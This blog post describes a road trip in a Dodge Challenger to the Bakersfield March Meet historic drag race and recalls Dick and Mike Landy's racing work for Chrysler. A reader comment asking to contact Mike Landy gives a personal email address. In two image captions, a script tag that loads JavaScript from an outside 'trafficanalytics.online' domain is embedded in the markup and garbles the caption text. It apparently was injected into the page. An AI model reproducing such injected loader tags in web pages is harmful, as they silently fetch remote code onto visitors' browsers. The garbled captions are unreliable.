Landy Legacy Tour, Part 3: Bakersfield and Beyond

By Geoff Stunkard

 

My time with the Landy family was over too soon, but not before I had a chance to head up over the mountains to a well-known historic drag race in Bakersfield, California. Started back in 1959, this race has more recently become one of the largest gatherings of historic drag cars at one time. Once again with Robert Landy riding shotgun, I put the HEMI® V8 in our 2015 Dodge Challenger R/T Scat Pack through its paces as we rolled down into the valley to witness nitromethane-fueled action.

 

Another fuel-burning HEMI® V8 dragster gets off the starting line at the March Meet.

 

Dick Landy had written some of his legacy right here. Exactly 50 years ago, back in 1965, when Dodge had built the first funny cars, Dick had won a special race and had clocked a 10.26 time—almost unheard-of for a “stock” car at that time. In 1970, he had scored Challenger’s big event win when he again won his class here, which was now called Pro Stock. As we walked the pits with the family, I saw many Dodge vehicles that were continuing the legacy that Dick had started. My Challenger was tucked away with friends on the manufacturer’s midway as I watched the action.

 

The next morning, we had breakfast with Mike Landy, Dick’s brother and perhaps the most integral member of the team. Other than an expense-paid trip with the Army thanks to Uncle Sam back in the late 1960s, Mike had seen it all. Mike’s recollections about projects they did for Chrysler – cylinder head modifications, testing program, promotions – again showed me why the relationship between the company and the Landy team had been so strong.

 

The Landy family, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js' srcset= the Challenger, and Clay and Rosie Kossuth, who ran a 1965 Dodge Coronet similar to Dick’s famous car.” width=”1200″ height=”697″ />

 

But my trip out west was winding down. After saying goodbye, I filled the tank with high-test, awoke before dawn and pointed east to start back across the nation. Unlike the ride out, when I had taken time to enjoy the Petrified Forest and watch trains blaze cross the Mojave desert, there was a more serious schedule. This time, the ride would take me across the southern tier on I-10 – Phoenix, Houston, New Orleans. After all, I had to be in Gainesville, Florida, in just a few days for a big drag-racing event, and I was planning on staying with some Challenger racers for the weekend.

 

My trip east would be a quick one, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js' srcset= but I had fond memories of stopping to see things like the Petrified Forest.” width=”525″ height=”792″ />


One Comment

  • Chris Lomax
    Posted May 13, 2016 at 2:03 pm | Permalink

    Geoff: Can you please tell me how I might get a hold of Mike Landy.
    Mike and I were stationed at Ft. Hood together in 1968-69. I ended up
    going to Vietnam and Mike finished out his two years and returned to LA.
    When I got back to LA, Mike, our wives and myself hung out while I was attending
    pharmacy school at USC. Time goes by and I have not been able to find Mike’s
    contact information. Thank you, Chris Lomax
    chris.lomax@bbraun.com

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